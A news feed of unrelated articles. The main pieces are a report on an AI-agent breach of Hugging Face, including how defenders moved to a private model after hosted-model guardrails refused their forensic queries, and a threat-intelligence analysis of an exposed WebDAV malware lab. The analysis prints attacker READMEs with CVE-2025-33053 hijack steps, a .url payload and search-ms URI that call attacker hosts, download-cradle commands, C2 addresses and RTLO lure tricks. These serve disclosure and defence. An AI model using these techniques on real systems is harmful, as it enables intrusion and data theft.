The entry point was a malicious dataset. When the data-processing pipeline ingested it, the dataset triggered code execution in two ways, through a remote-code loader and through a template-injection flaw in dataset configuration files. No admission gate screened the file before it reached a processing worker, the compute job assigned to each dataset. Initial access came through the data pipeline itself, a route that worked because most enterprise security teams treat the data feeding their pipelines as trusted input rather than an attack surface.

Worker isolation did not hold. From that first foothold, the agent broke out onto the node running the workload, then harvested cloud and cluster credentials scoped broadly enough to reach multiple internal clusters, all of it inside a single weekend. Hugging Face described the agent framework as executing thousands of individual actions through a swarm of short-lived sandboxes, with self-migrating command-and-control staged on public services. The disclosure adds that the framework appeared to be built on an agentic security-research harness, which would put tooling designed for red-team work behind a live intrusion.

Why the defenders’ queries looked like attacks

Investigators reconstructed more than 17,000 recorded events using AI-driven analysis agents of their own.

First attempts at the log analysis ran on frontier models behind commercial APIs. Defenders’ steps included submitting real attack commands, exploit payloads, and command-and-control artifacts for classification, but safety guardrails blocked the requests outright.

Baer traced the block to the prompts themselves. “The same prompts that are most valuable during an active intrusion, shell commands, exploit chains, credential dumps, persistence mechanisms, lateral movement, are exactly the prompts most likely to trigger safety systems,” she told VentureBeat. “As AI becomes embedded in security operations, this becomes an operational resilience issue rather than merely a model policy issue.”

The forensic analysis finished on GLM 5.2

GLM 5.2, an open-weight model deployed on Hugging Face’s own infrastructure, took the job the commercial APIs refused. No attacker data left the company’s environment. “This experience points to a gap worth planning for,” the company wrote in its disclosure. Hugging Face does not know which model powered the agents. It could have been a jailbroken hosted model or an open-weight model running without restrictions. Either way, the disclosure continued, “the attacker was bound by no usage policy, while our own forensic work was blocked by the guardrails of the hosted models we first tried.” Hugging Face drew that line itself, writing that the experience is not an argument against safety measures on hosted models and that it is sharing the feedback with the providers concerned.

What authenticated trust changes

The industry, Baer argued, needs to move past treating AI safety as a content moderation problem. “Security operations require something different. Authenticated trust.” Instead of asking whether anyone should receive an answer, the question becomes whether an authenticated security team, operating under enterprise controls, should receive it. “The model shouldn’t only understand what is being asked. It should understand who is asking, why, and under what governance.”

“Organizations already build contingency plans for cloud outages, identity provider failures, or EDR failures,” Baer wrote. “AI assistants are becoming another dependency.”

Her advice on IR playbooks was blunt. “A mature incident response plan should assume that during a severe incident, commercial AI APIs may refuse requests, API rate limits may become unavailable, internet connectivity may be impaired, and data governance rules may prohibit uploading forensic evidence externally.” The lesson, she wrote in her emailed answers, “isn’t ‘don’t use commercial models.’ It’s ‘don’t make them a single point of failure.’”

AI-enabled attacks rose 89% year-over-year

Autonomous AI-driven attacks are not limited to AI platforms. CrowdStrike’s 2026 Global Threat Report documented AI-enabled adversary operations increasing by 89% year over year, with average breakout times falling to 29 minutes. Enterprises running AI workloads in production with agentic access to their pipelines face similar exposure.

Six control domains determined the blast radius and recovery speed at Hugging Face. Each one maps to a concrete action security leaders can take before the next autonomous-agent breach arrives.

AI Pipeline Breach Response Playbook

Control Domain	What Broke	Monday Action
Dataset admission controls	Two code-execution paths were exploited. No admission gate validated the dataset before it reached a processing worker. The data pipeline became the initial access infrastructure.	Require sandbox execution and static analysis of all datasets before they reach workers. Block remote-code loaders and template-injection paths by default. Audit for any path granting code execution to untrusted content. Report to the board as a supply-chain risk.
Worker-to-node privilege boundaries	Worker isolation failed to prevent escalation to the node. The agent gained cluster credentials because the workload-infrastructure boundary was never enforced at container runtime.	Enforce hard privilege boundaries between workers and nodes. Deploy container runtime security to prevent workload escape. Audit whether workers can reach node-level APIs or credential stores. Include in the next penetration test scope.
Credential exposure	Cloud and cluster credentials harvested after node access. The scope was broad enough for lateral movement across multiple clusters over a weekend.	Rotate credentials on a scheduled cadence and after any anomaly alert. Scope to the minimum cluster and service. Deploy monitoring that flags access from unexpected nodes at machine speed. Map blast radius for board reporting.
Machine-speed detection	Thousands of actions through short-lived sandboxes with self-migrating C2. AI-assisted anomaly detection surfaced the campaign after a weekend of lateral movement, per the disclosure.	Calibrate detection for machine-speed patterns. Ensure high-severity alerts page responders in minutes, regardless of time. Audit SIEM rules for detecting thousands of short-lived executions within a single hour.
Private AI forensic capacity	Commercial APIs blocked forensic analysis. Guardrails screened query content, never analyst identity. Investigation ran on GLM 5.2 privately.	Deploy a capable open-weight model on private infrastructure before an incident. Test against real forensic workflows. Ensure IR playbook includes fallback for when commercial APIs refuse. Document gap for cyber insurance.
Autonomous-agent threat modeling	The campaign matched the forecast agentic-attacker scenario, but no threat model had operationalized it. LLM powering the agent is still unknown.	Add autonomous AI agents as a distinct adversary class with machine-speed decision cycles. Run tabletop at agent speed. Present results to the board as evidence that timelines need recalibration. Include in the cyber insurance application.

The board question is operational resilience

“The question for directors is simple. What happens if one of our critical security tools becomes unavailable during the exact moment we need it most?” Baer framed that as operational resilience, not AI policy.

She would have boards take that framing straight to management and press for specifics. “Have we actually exercised that fallback during tabletop exercises? How quickly can we switch during an incident?” Procurement needs to change alongside governance, starting with the questions buyers ask. Security teams evaluating AI vendors should ask about their process for authenticated incident responders, whether enterprise customers receive different handling during verified incidents, and whether models can be deployed privately. “Those questions belong alongside uptime, privacy, and compliance,” Baer said.

“The biggest takeaway isn’t that safety guardrails are ‘bad.’ They’re doing what they were designed to do,” she argued.

Her larger point is that the threat model itself has changed. “For decades, defenders had better tools than attackers because they operated inside trusted enterprise environments. With foundation models, both sides increasingly use the same capabilities, but one side is constrained by enterprise governance, policy, compliance, and safety controls, while the adversary simply downloads an uncensored open-weight model and keeps going. That’s a new kind of asymmetry,” she added. “The organizations that handle it best won’t necessarily be the ones with the most powerful AI. They’ll be the ones that architect AI as a resilient security capability rather than a single cloud service.”

Hugging Face has contained the intrusion, rebuilt compromised nodes, rotated credentials, and reported the incident to law enforcement. The company recommends that all users rotate access tokens and review recent account activity. Mid-incident, Hugging Face found out whether its own AI tooling would be available, and the first answer was no. Security leaders running AI in production should find out in incident response planning instead, before an autonomous agent forces the test.

Navigation leicht gemacht: Dieses Gadget hält euer Smartphone beim Radfahren griffbereit

Mon, 20 Jul 2026 16:02:07 +0200

Wer beim Radfahren die Route im Blick behalten möchte, braucht eine stabile und einfache Handyhalterung. Wir zeigen euch die Fahrrad-Handyhalterung von Acrhkoor.

From a Single Alert to 1,000 Files: Inside an Exposed WebDAV Malware Delivery Lab

Mon, 20 Jul 2026 15:53:12 +0200

Executive summary

An MDR alert recently led our team to an exposed server that was doing more than hosting payloads. It was functioning as a fully operational malware delivery lab. Containing over 1,000 artifacts, the infrastructure served as a QA hub where attackers systematically tested delivery paths, social engineering lures, and WebDAV execution methods.

Our analysis reveals an interesting shift in adversary operations: attackers are adopting generative AI to move beyond individual exploits and operate like modern software product teams. By leveraging LLMs for rapid lure generation, detailed README documentation, and automated testing, they are significantly accelerating their development cycle.

This incident underscores the imperative of preemptive security. By unifying exposure management with detection and response, we did not just catch a single campaign; we gained visibility into the attacker’s entire delivery pipeline. Although the server hosted many malware samples, the more interesting find was the view into the attacker’s workflow. The exposed infrastructure showed how the operator tested delivery paths, packaged lures, staged payloads, and monitored delivery activity. All of it with the help of generative AI.

Introduction: From MDR alert to attacker infrastructure

The investigation started with an MDR alert after a user executed a file pulled from a WebDAV server using rundll32.exe. Telemetry showed the WebClient service starting, followed by davclnt.dll reaching out to a remote host to retrieve content.

That initial hit led us to dig deeper into the delivery setup, which is how we ended up finding an exposed directory. It quickly became clear to us that the server wasn't just hosting files, but also was used as an active malware testing and delivery hub. Alongside payloads, we found bulk-generated shortcut lures, URL-based execution tests, ClickFix pages, WebDAV initialization scripts, droppers, spoofed filenames, and operator notes.

At a high level, the 1,048 files clustered as follows:

Category	Files	Functions and discoveries
LNK delivery launchers	453	Bulk-generated shortcut lures using document themes, spoofed filenames, fake icons, and multiple execution paths
Filename-spoofing QA	236	Tests for Unicode, double-extension, padding, and browser/Explorer rendering behavior
URL/LOLBin execution tests	146	Experiments with signed Windows binaries, remote working directories, and WebDAV-style execution
Encrypted droppers	89	Staged second-stage payloads and installer-style packages
Alternative execution containers	24	search-ms, library-ms, .cpl, and related delivery containers
Payload stubs and spoofed executables	21	Smaller loaders, decoys, and renamed binaries
WebDAV scripts	17	Scripts intended to make WebDAV delivery more reliable on Windows systems
Builder and operator notes	10	README files, test reports, mappings, and generation scripts
ClickFix HTML lures	9	Browser-based social-engineering pages instructing users to run commands
Miscellaneous files	6	Included documentation for the actor’s WebDAV delivery/admin panel

Table 1: Breakdown of files recovered from the attacker’s delivery workspace

Technical analysis and observed attacker behavior

Attackers testing like a product team

The open directory exposed the attacker’s payloads and testing process. The collection varied by function: some folders stored payloads, while others isolated individual delivery methods, including WebDAV, UNC paths, search-ms, library-ms, Control Panel items, and trusted Windows binaries. Several directories appeared to be QA areas for testing how lures are rendered in browsers and Windows Explorer. These tests included Unicode spoofing, right-to-left override (RTLO) characters, double extensions, and padding tricks used to make executables look like documents.

The directory also contained several README files. Their structure and phrasing suggested they may have been generated with LLMs. Some folders were named testik and testik2, a Russian diminutive form of “test”.

Figure 1: Snippet of one of many subfolders containing testing files.

⠀

Looking at the artifacts from the open directory, we saw that the attacker was testing some specific CVEs.

CVE	Observed samples	Short description
CVE-2025-33053	11	Windows Internet Shortcut flaw involving external control of a file name or path, allowing code execution over a network. (nvd.nist.gov)
CVE-2026-21513	4	MSHTML Framework security feature bypass caused by protection-mechanism failure. (nvd.nist.gov)
CVE-2025-24054	1	Windows NTLM spoofing issue where crafted file/path handling can trigger outbound authentication and leak NTLM material; observed tradecraft commonly involved .library-ms files. (nvd.nist.gov)

Table 2: CVE references observed in the exposed directory.

The most developed test set focused on CVE-2025-33053, the working-directory abuse technique reported by Check Point in its analysis of Stealth Falcon activity. It appears as though the threat was trying to reproduce or adapt the reported technique with the help from README that appears to have been generated with LLMs. At a high level, the technique abuses .url shortcut behavior to launch a legitimate signed Windows binary while setting its working directory to an attacker-controlled WebDAV share. In the original reporting, the binary was iediagcmd.exe, an Internet Explorer diagnostics utility. When invoked, that utility launches several child processes by name. If the working directory points to a remote WebDAV location controlled by the attacker, Windows may resolve those child process names from the remote share instead of the expected local system directory.

The README files closely mirrored this logic. They called out iediagcmd.exe as the preferred binary, referenced the same WebDAV working-directory pattern described in the Stealth Falcon reporting, and preserved the previously reported summerartcamp.net@ssl@443\DavWWWRoot\OSYxaOjr path as an example. So if you ever wonder who reads your blogs, it seems like attackers do.

CVE-2025-33053 (Stealth Falcon APT) - Test Setup
=====================================================

WHAT IS THIS?
This .url file abuses iediagcmd.exe to execute a file from WebDAV
WITHOUT any security warnings. Zero alerts!

HOW IT WORKS:
1. .url file contains URL=path to iediagcmd.exe (legitimate IE tool)
2. .url sets WorkingDirectory to WebDAV share
3. When clicked: iediagcmd.exe starts with cwd = WebDAV
4. iediagcmd internally calls: route.exe, ipconfig.exe, netsh.exe, ping.exe
5. Process.Start() searches in working directory FIRST
6. WebClient auto-starts when accessing WebDAV
7. Attacker's route.exe (renamed putty.exe) runs from WebDAV
8. NO SmartScreen, NO MoTW warnings!

REQUIREMENTS TO MAKE TEST WORK:
================================

1. iediagcmd.exe MUST exist on victim machine
   Path: C:\Program Files\Internet Explorer\iediagcmd.exe
   - Win10 (1607-22H2):        YES
   - Win11 21H2/22H2/23H2:     usually YES
   - Win11 24H2 (IE removed):  NO (this is why your F-series failed!)
   - Check on victim:
     dir "C:\Program Files\Internet Explorer\iediagcmd.exe"

2. WebDAV MUST have file named EXACTLY "route.exe"
   NOT putty.exe! iediagcmd will only execute these names:
   - route.exe
   - ipconfig.exe
   - netsh.exe
   - ping.exe
   On your WebDAV server, RENAME putty.exe to route.exe
   Place at: \\TA_C2\Downloads\route.exe

3. Microsoft patch from June 2025 MUST NOT be installed
   Check: Get-HotFix | Where-Object {$_.HotFixID -match "KB5060"}
   If patched, exploit fails.

ALTERNATIVE LOLBINS (if iediagcmd.exe missing):
================================================
F4_CustomShellHost_explorer.url - uses CustomShellHost.exe
   (mentioned in CheckPoint report - spawns explorer.exe)
F5_OfficeC2RClient_alternative.url - uses Office C2R client
   (if Office is installed)

REAL ATTACK PAYLOAD WAS:
[InternetShortcut]
URL=C:\Program Files\Internet Explorer\iediagcmd.exe
WorkingDirectory=\\summerartcamp.net@ssl@443\DavWWWRoot\OSYxaOjr
ShowCommand=7
IconIndex=13
IconFile=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Modified=20F06BA06D07BD014D

Figure 2: Contents of README, likely generated by LLM, found in the exposed directory.
⠀

The testing approach was methodical and included the below:

Transports: WebDAV over @80 and @ssl@443

Path formats: DavWWWRoot vs. plain UNC

Fallback LOLBins: CustomShellHost.exe, OfficeC2RClient.exe, and many more for hosts where iediagcmd.exe is absent

Download cradles: bitsadmin /transfer, certutil -urlcache -split -f, mshta http(s)://…

Shortcut launchers: PowerShell IEX (New-Object Net.WebClient).DownloadString(...), hidden/minimized windows

Explorer containers: search-ms: queries and .library-ms files exposing remote payloads

ClickFix pages: relying on user copy/paste execution

Filename spoofing: RTLO (U+202E), double extensions, and whitespace padding before .exe / .scr

The lure factory

The lure themes were broad and familiar: invoices, privacy policies, contracts, signed documents, finance reports, Labcorp-themed reports, salary statements, and notification policies.

Judging by the lure themes, we concluded that the attacker is targeting enterprise Windows users who are likely to open routine documents.

The threat actor also invested heavily in making files look “safe”. Many lure names mimicked PDFs or office documents. Others used fake icons associated with common software. Some attempted to hide arguments or launch windows minimized. Clearly, the goal was to make malicious execution feel like ordinary document handling.

The directory also contained ClickFix HTML lures. These pages mimicked familiar services, application errors, and document-access workflows to convince users to copy and run a command. The lures were disguised as Cloudflare verification checks, Adobe or Word document errors, Microsoft login pages, Chrome update messages, and Discord-themed notices. Filenames such as Fix_Connection_Error.html, Update_Required.html, Secure_Document_Access.html, Verification_Failed.html, and Open_Document_Instructions.html show how the actor repackaged the same execution pattern under different social-engineering themes.

The commands typically launched PowerShell to fetch remote content, used cmd.exe to open payloads from WebDAV or UNC paths, or used utilities like rundll32 and mshta to proxy execution. Many referenced attacker-controlled paths, temporary directories, hidden windows, or encoded arguments to reduce visibility.

The payload chains

The exposed directory contained many payloads, but we did not reverse every binary in the collection. We initially started with reverse engineering, but after analyzing several chains, we found repeated packaging patterns and suspected that some staged files may have led to the same or closely related final payloads.

We therefore shifted from exhaustive reverse engineering to triage. We reviewed several files, including DlrtyGames, CursorSetup, ReportFinal.rsc.pdf, ReportFina.exe and pdfgear_setup_v2.1.16.exe, and prioritized payloads that either represented distinct delivery approaches or were tied to observed campaign activity.

Our main focus became the most commonly delivered file in the most recent CURP campaign, based on artifacts we found in cPanel. This gave us the clearest link between the exposed delivery infrastructure and active campaign activity.

This scope is intentional. This post is about the attacker’s delivery workflow, not a full reverse-engineering report for every sample in the directory. We use the payload analysis to show how the operator packaged lures, staged loaders, tested execution methods, and moved from delivery to final payload execution.

Case study 1: CURP campaign targeting Mexico

Our MDR alert began with a user who landed on the phishing site www[.]gobf[.]mx, a typosquat impersonating the Mexican government's CURP (Clave Única de Registro de Población) national-ID lookup service at https://www.gob.mx/curp/. The phishing site presented a convincing single-page application that asked victims to enter CURP identity data and retrieve an official record.

Figure 3: Phishing page impersonating Mexico’s CURP lookup service, with browser developer tools showing the embedded WebDAV delivery logic.

⠀

The site’s client-side JavaScript handled the fake ID lookup flow and then triggered payload delivery when the victim clicked the download button. Instead of downloading a PDF directly, the script invoked a search-ms: URI that opened the operator’s remote WebDAV share as a Windows Explorer search view filtered to .scr files:

search-ms:displayname=Search Results in \\onedrive.cv@80\Downloads\CURP
         &query=*.scr
         &crumb=location:\\onedrive.cv@80\Downloads\CURP

⠀
It's worth mentioning that the malicious Javascript with russian comments appears to be also generated with the help of GenAI. As you can see in the screenshot above it contains emojis and comments which are very typical for the LLM models.

The exposed Simba Service panel tied this phishing flow back to the attacker’s delivery infrastructure. The CURP folder was the most-accessed campaign folder, with 2,384 recorded interactions. The same count appeared for ReportFinal.rcs.pdf, making it the clearest link between the phishing site, the WebDAV delivery path, and active campaign activity.

Figure 4: Simba Service WebDAV dashboard showing the exposed delivery workspace, with the CURP folder recorded as the most-accessed campaign folder at 2,384 interactions.

⠀

Although ReportFinal.rcs.pdf appeared to be a PDF, it was actually a right-to-left override (RTLO) masqueraded .scr executable built with a Delphi/Inno Setup installer. Once executed, it extracted and launched the Fo-Binary.exe loader, initiating the multi-stage infection chain.

Figure 5: Execution chain for the ReportFinal.rcs.pdf lure, from RTLO-masqueraded .scr file to in-memory stealer execution and C2 exfiltration.

⠀

The final payload was an unknown .NET information stealer, operated entirely fileless-ly to evade disk-based detection. The execution sequence followed as such:

Decryption: The Fcqleh loader decrypted the embedded payload using AES and GZip.
Reflective Loading: The loader mapped the payload directly into memory using the Assembly.Load(byte[]) API.
Process Injection: The malicious code was executed inside a legitimate, EV-signed Qihoo 360 process via process hollowing, allowing the malicious code to run under a trusted signed process image.

The decrypted in-memory configuration exposed the payload’s feature set and version 4.4.3. It also contained the build tag 06x12x2026SantaEbash2, which matched toolkit timestamps from June 12, 2026.

Once running, the stealer targeted cryptocurrency assets, browser data, messaging sessions, and local application data. Its collection logic included around 20 desktop wallet clients and browser wallet extensions, saved browser usernames, passwords, cookies, session tokens, the Telegram tdata session database, Foxmail data, and a screenshot of the victim’s desktop.

The payload also included anti-analysis checks. The payload checked for the COR_PROFILER environment variable and called IsDebuggerPresent. If the malware detected that it was being monitored or debugged, it immediately called FailFast to kill the process. The stealer also delayed decrypting its watchlist and collection configuration until after a successful C2 handshake, preventing its full functionality from being revealed in isolated sandboxes.

Collected data was exfiltrated to 77[.]110.127.205 (alias google.services.ug, certificate CN=Eglgyqnoa) over SslStream (TLS without SNI) and raw Socket.The stolen data was sent as a multipart HTTP POST request to /c2.

Based on the analyzed behavior, the payload functioned as an information stealer focused on credential, wallet, and session theft.

Case study 2: The "DlrtyGames" sideloading chain

While the ReportFinal lure used an Inno Setup installer to launch a fileless stealer, a second campaign directory on the server, DlrtyGames, showed a different delivery architecture. This chain was built to deploy a modular RAT through DLL sideloading, IDAT, process hollowing, and persistence.

The DlrtyGames chain began with a silent 7-Zip SFX dropper, DlrtyGames.exe. It extracted a benign, signed Ubisoft binary, Volt_Droid.exe, into the victim’s temporary directory alongside a trojanized dependency, discord-rpc.x64.dll.

Figure 6: DlrtyGames execution chain showing the flow from 7-Zip SFX dropper to DLL sideloading, IDAT-based payload loading, process hollowing, and .NET RAT execution.

⠀

Volt_Droid.exe used DLL sideloading to load discord-rpc.x64.dll. This decoded its configuration, resolved APIs by hash, and manually mapped profiler16.dll. The mapped profiler16.dll stage then read loader-pool.db, a PNG file whose encrypted modules were stored across IDAT chunks. After a 45-second sleep delay, it reassembled and decrypted the embedded content, set up persistence, performed COM auto-elevation through dllhost.exe, and prepared the final hollowing stage.

The final injection stage was handled by an x86 PIC shellcode blob carved from loader-pool.db at offset 0xb516a. That shellcode created signed host processes such as MegArray.exe or Crisp.exe in a suspended state, unmapped their original image, wrote the payload into the process, updated thread context, and resumed execution. The result was a modular .NET RAT running inside a signed host process.

The DlrtyGames payload was a modular RAT with plugins for keylogging, screenshots, window monitoring, and C2 communication. Its keylogger module used plaintext keyword triggers for payment, banking, credit, and cryptocurrency activity, including relaypayments.com, plaid, fiservapps, payoneer, google pay, coinbase, Zelle, paypal, link.com, amazonrelay, Exodus, Electrum, Bitcoin, monero, Seed Phrase, Seed, 12, FCU, Credit Union, Account Overview, Available Balance, Merchant, online access, debit, credit, cvv, card, settlement, fees, loans, bank, banking, finance, and invest.

The RAT also targeted browser wallet-extension artifacts and Chrome user data, including cookies and saved login data.

The two chains used different payloads and C2 infrastructure. In case study one, the stealer exfiltrated to 77[.]110[.]127[.]205:56003, while in the case study two stealer chain communicated with 23[.]94[.]252[.]228:57666. Based on our observations, the final RAT payload in both chains was identified as .NET-based PureRAT.

GenAI adoption

Several artifacts make it clear the attacker certainly used LLMs to build and iterate this operation. The directory is packed with structured README files, neatly formatted lure-generation guides, detailed test writeups, and matrix-style outputs that look exactly like templated or generated content.

═══════════════════════════════════════════════════════════════════
  WORKING DIRECTORY HIJACKING — COMPREHENSIVE TEST KIT
  for Windows 11 24H2
═══════════════════════════════════════════════════════════════════

This kit contains 59 .url files targeting different Windows binaries
that POTENTIALLY have the same Working Directory hijacking issue as
CVE-2025-33053 (Stealth Falcon, iediagcmd.exe).

ALL .url files use this exact format (same as the real APT attack):
  [InternetShortcut]
  URL=C:\path\to\target.exe         <- legitimate binary
  WorkingDirectory=\\[REDACTED]@80\Downloads   <- WebDAV (triggers WebClient!)
  ShowCommand=7                     <- start minimized (hide alert windows)
  IconIndex=13                      <- (decoy icon)
  IconFile=msedge.exe               <- (decoy icon)

═══════════════════════════════════════════════════════════════════
HOW TO TEST (5 minutes)
═══════════════════════════════════════════════════════════════════

STEP 1: Upload ALL files from WEBDAV_PAYLOADS/ folder to:
        \\[REDACTED]\Downloads\
        (59 test files - each is 5KB MessageBox popup exe)

STEP 2: Copy I_LOLBIN_URLS/ folder to your Win11 24H2 machine

STEP 3: Double-click .url files one by one (or all of them in sequence)
        - If popup appears -> HIJACK WORKS! Read parent process name in popup.
        - If nothing happens / error -> doesn't work, move to next.

STEP 4: Tell me which I-numbers showed a popup. I'll integrate working
        ones as new methods in web-renamer.

═══════════════════════════════════════════════════════════════════
PRIORITY TESTING ORDER (most likely to work first)
═══════════════════════════════════════════════════════════════════

TIER 1 - CONFIRMED IN THE WILD:
  I01_iediagcmd.url           - CVE-2025-33053 (needs pre-June 2025 patch)
  I02_CustomShellHost.url     - CheckPoint research (may not exist on Server)

TIER 2 - .NET FRAMEWORK TOOLS (always installed if .NET 4.x present):
  I03_InstallUtil.url         - InstallUtilLib.dll search
  I04_RegAsm.url              - .NET registration
  I05_RegSvcs.url             - .NET services
  I06_CasPol.url              - .NET security policy
  I07_ngentask.url            - NGen native compile (calls ngen.exe!)
  I08_AddInUtil.url           - AddIn util (calls AddInProcess.exe!)
  I10_dfsvc.url               - ClickOnce service
  I15_csc.url                 - C# compiler (may call link.exe)
  I16_vbc.url                 - VB compiler

TIER 3 - WIN11 SYSTEM .NET TOOLS:
  I17_LbfoAdmin.url           - NIC teaming admin
  I19_UevAgentPolicyGenerator.url - UE-V agent (calls .ps1 files!)
  I20_UevAppMonitor.url       - UE-V monitor
  I23_AppVStreamingUX.url     - App-V streaming UI

TIER 4 - LOLBAS Execute-EXE binaries:
  I26_Pcwrun.url              - LOLBAS Execute(EXE)
  I28_WorkFolders.url         - LOLBAS Execute(EXE,Rename)
  I33_stordiag.url            - LOLBAS Execute(EXE) - calls systeminfo etc
  I36_Provlaunch.url          - LOLBAS Execute(CMD) - calls provtool.exe!

TIER 5 - UAC bypass binaries (worth testing):
  I49_fodhelper.url, I50_computerdefaults.url, I52_wsreset.url

═══════════════════════════════════════════════════════════════════
THE THEORY (so you understand WHY this works for some and not others)
═══════════════════════════════════════════════════════════════════

For the attack to succeed, the LOLBin must:
  1. Be a .NET application, OR call ShellExecute/CreateProcess with bare
     name (no full path).
  2. Spawn a child process by NAME (e.g. "ipconfig.exe") not by full path
     (e.g. "C:\Windows\System32\ipconfig.exe").
  3. Be runnable without command-line args.

If ANY of these is false, the hijack fails. Microsoft has been patching
specific binaries (iediagcmd.exe in June 2025) but the general pattern
remains. New vulnerable binaries are discovered regularly.

═══════════════════════════════════════════════════════════════════
WHAT THE POPUP TELLS YOU
═══════════════════════════════════════════════════════════════════

When hijack works, you'll see:
  TEST OK - Working Directory Hijack SUCCESS

  Executed as: route.exe                              <- which name was hijacked
  Full path: \\[REDACTED]@80\Downloads\route.exe    <- ran from WebDAV!
  Working dir: \\[REDACTED]@80\Downloads
  Parent process: iediagcmd                           <- which LOLBin spawned it

═══════════════════════════════════════════════════════════════════
NOTES
═══════════════════════════════════════════════════════════════════

* Some I-files may target binaries that DON'T EXIST on your Win11 24H2
  (e.g. I02_CustomShellHost was missing on my test Server 2025).
  These will silently fail - just move on.

* Some I-files may launch the GUI tool (msconfig, dxdiag, etc.) WITHOUT
  triggering any hijack. That's fine - if no popup appears, no hijack.

* See _MAPPING.csv for full mapping of each .url to its target binary
  and expected child process names.

Figure 7: Context of README.md found in the exposed directory.

The attacker left a build-time artifact inside the generate_test_lnk.ps1 output. The output directory is hardcoded in the $outDir variable and exposes part of the attacker’s local project tree:

Figure 8: Hardcoded $outDir path exposing the attacker’s local project tree.

⠀
It is therefore apparent that the entire campaign was likely created using the CodeRRR project with the help of LLM to assist with code generation and campaign development.

Another file we found in the directory was Simba_Service_Presentation.htm, which appeared to document an attacker-controlled WebDAV delivery/admin panel. The panel also seems to have been generated with LLM assistance, based on its presentation-style formatting, API-documentation structure, emojis, and implementation details.

Figure 9: Screenshot from the panel with an open presentation about Simba service, showing its architecture.

⠀

Figure 10: Simba service system requirements.

⠀

The most telling artifact was a “comprehensive test kit” that expanded the single CVE-2025-33053 technique into 59 .url files targeting different Windows binaries, such as .NET tools (InstallUtil, RegAsm, RegSvcs, ngentask), system utilities, LOLBAS execute-EXE binaries, and even UAC-bypass candidates. Each file was paired with a stated theory of why the working-directory hijack should work and a priority order for testing.

The directory was saturated with structured README files, neatly formatted lure-generation guides, matrix-style test write-ups, emoji-heavy admin-panel documentation, and a _MAPPING.csv tying each test file to its target binary and expected child process. The consistency, verbosity, and sheer volume of organized artifacts led us to conclude that the attacker likely used an LLM-assisted workflow to do much of the heavy lifting around documentation, structure, and iteration.

# LNK Full Matrix Test — WebDAV Open Methods + Deception Techniques

**Location:** `C:\Users\Administrator\Desktop\LNK-Full-Matrix-Test`  
**Total files:** 60  
**Generated:** 2026-05-30

---

## Overview / Обзор

This folder contains a complete test matrix of **60 LNK shortcut files** combining all available WebDAV open methods with all LNK Deception Techniques supported by the Web-renamer project.

В этой папке находится полная тестовая матрица из **60 LNK-ярлыков**, объединяющих все доступные WebDAV-методы открытия со всеми техниками обмана LNK, поддерживаемыми проектом Web-renamer.

---

## Naming Scheme / Схема именования

All files follow the pattern:  
Все файлы следуют шаблону:

```
HyperPackSetup....lnk
```

- **`HyperPackSetup`** — base filename / базовое имя файла
- **``** — WebDAV open method (e.g. `curl-http-temp-run`, `direct`, `cmd-start`) / метод открытия WebDAV
- **``** — LNK deception technique (`standard`, `SPOOFEXE_HIDEARGS_DISABLETARGET`, etc.) / техника обмана LNK
- **``** — RTLO + homoglyph extension spoof (`‮ƒｄᴘ`) — visually appears as `.pdf` / спуф расширения через RTLO + гомоглифы — визуально выглядит как `.pdf`
- **`.lnk`** — real extension / реальное расширение

> The spoof is applied **only to the extension** at the end, so the method and trick names remain clearly readable.  
> Спуф применяется **только к расширению** в конце имени, поэтому названия методов и техник остаются читаемыми.
...

Figure 11: This is a snippet from another README.md. The full README is available on Rapid7 Labs' Github. The text is original, and the translation to Russian was not added by us.

OPSEC is hard

As we mentioned previously, one of the artifacts we found in the open directory was a presentation file documenting a WebDAV delivery/admin panel called “Simba Service.”

Figure 12: Simba service presentation.

⠀

The panel was built to manage a read-only WebDAV file share and track delivery activity in real time, including file opens, visitor IPs, geolocation, Windows versions, traffic, errors, folder-level conversion, and access events.

The actor not only used the same server for testing and staging files, but also recklessly left behind internal documentation for the backend used to manage and track delivery. The presentation reads like an internal build document, walking through the architecture, tech stack, API endpoints, authentication, logging, analytics, bug fixes, deployment setup, and panel access flow. It also included the panel IP and port, along with credentials.

Additionally, the file also looked like it was generated with an LLM. Its structured project overview, emoji-heavy sections, API-documentation format, and implementation details stood out. Basically, in some subfolders you can find LLM-generated READMEs with lures and malicious executables, while in another subfolder there is an admin panel with a hardcoded IP, port, and credentials.

We are intentionally withholding live access details, credentials, IP addresses, ports, and panel locations.

Delivery panel overview

The attacker appeared to have deployed the panel as-is, without changing the default password or port. The panel included several operator-facing sections: Review, Folders, Files, Visitors, Geography, Traffic/Server, Notes, File Manager, Users, Link Builder, Safety, and Documentation.

Figure 13: Simba service page with blocking capabilities.

⠀

The portal was capable of detecting scanners and bots by analyzing behavioral indicators, including requests for non-existent resources, HTTP 404 responses, WebDAV probes, and directory enumeration attempts. Based on these observations, it assigned a risk score to each IP address and allowed the operator to manually block flagged hosts. Portal records indicate that the blocking configuration was modified at least 3 times during the campaign (June 5, June 10, and June 20).

We analyzed telemetry from the WebDAV delivery service over an approximately 5.5-day window (June 20–26, 2026 UTC), which recorded 77,098 requests from 3,892 unique client IPs across 101 countries, with roughly 45.9 GB transferred.

The activity was short-lived and high-volume, peaking between June 21 and June 24 before dropping sharply. Based on this data we can assume that it was a targeted delivery campaign.

Most of the launch activity came from one specific lure: a CURP-themed fake PDF report under the /Downloads/CURP/ReportFinal.rcs.pdf (RTLO-spoofed .scr executable.) Out of 2,441 observed executable launch events, 2,384, or approximately 97.7%, were tied to this lure. It accounted for approximately 14.6 GB of traffic and was accessed by 1,869 unique client IPs.

The WebDAV traffic was heavily concentrated in Mexico. Mexico generated 63,622 requests, representing 82.5% of all traffic, and 2,365 launch events, or approximately 96.9% of all observed launches. The next largest sources of traffic, including the United States and Germany, produced far fewer launch events and appeared more consistent with scanning, research, or automated retrieval.

Country	Requests	Share of requests	Unique client IPs	Launch events
Mexico	63,622	82.5%	2,698	2,365
United States	4,032	5.2%	463	47
Germany	2,751	3.6%	59	1
United Kingdom	645	0.8%	40	0
Netherlands	532	0.7%	49	1
France	407	0.5%	21	0
Finland	401	0.5%	6	10
Brazil	343	0.4%	41	0
Republic of Korea	312	0.4%	16	1

Table 3: Geographic distribution of WebDAV delivery activity.

Mexico was not only the largest source of traffic, but also the source of nearly all observed launch activity. Within Mexico, the activity was geographically broad, spanning hundreds of cities rather than clustering around a single locality. The top five Mexican cities accounted for approximately 27.4% of Mexican launch events, with Mexico City alone accounting for approximately 15.7%.

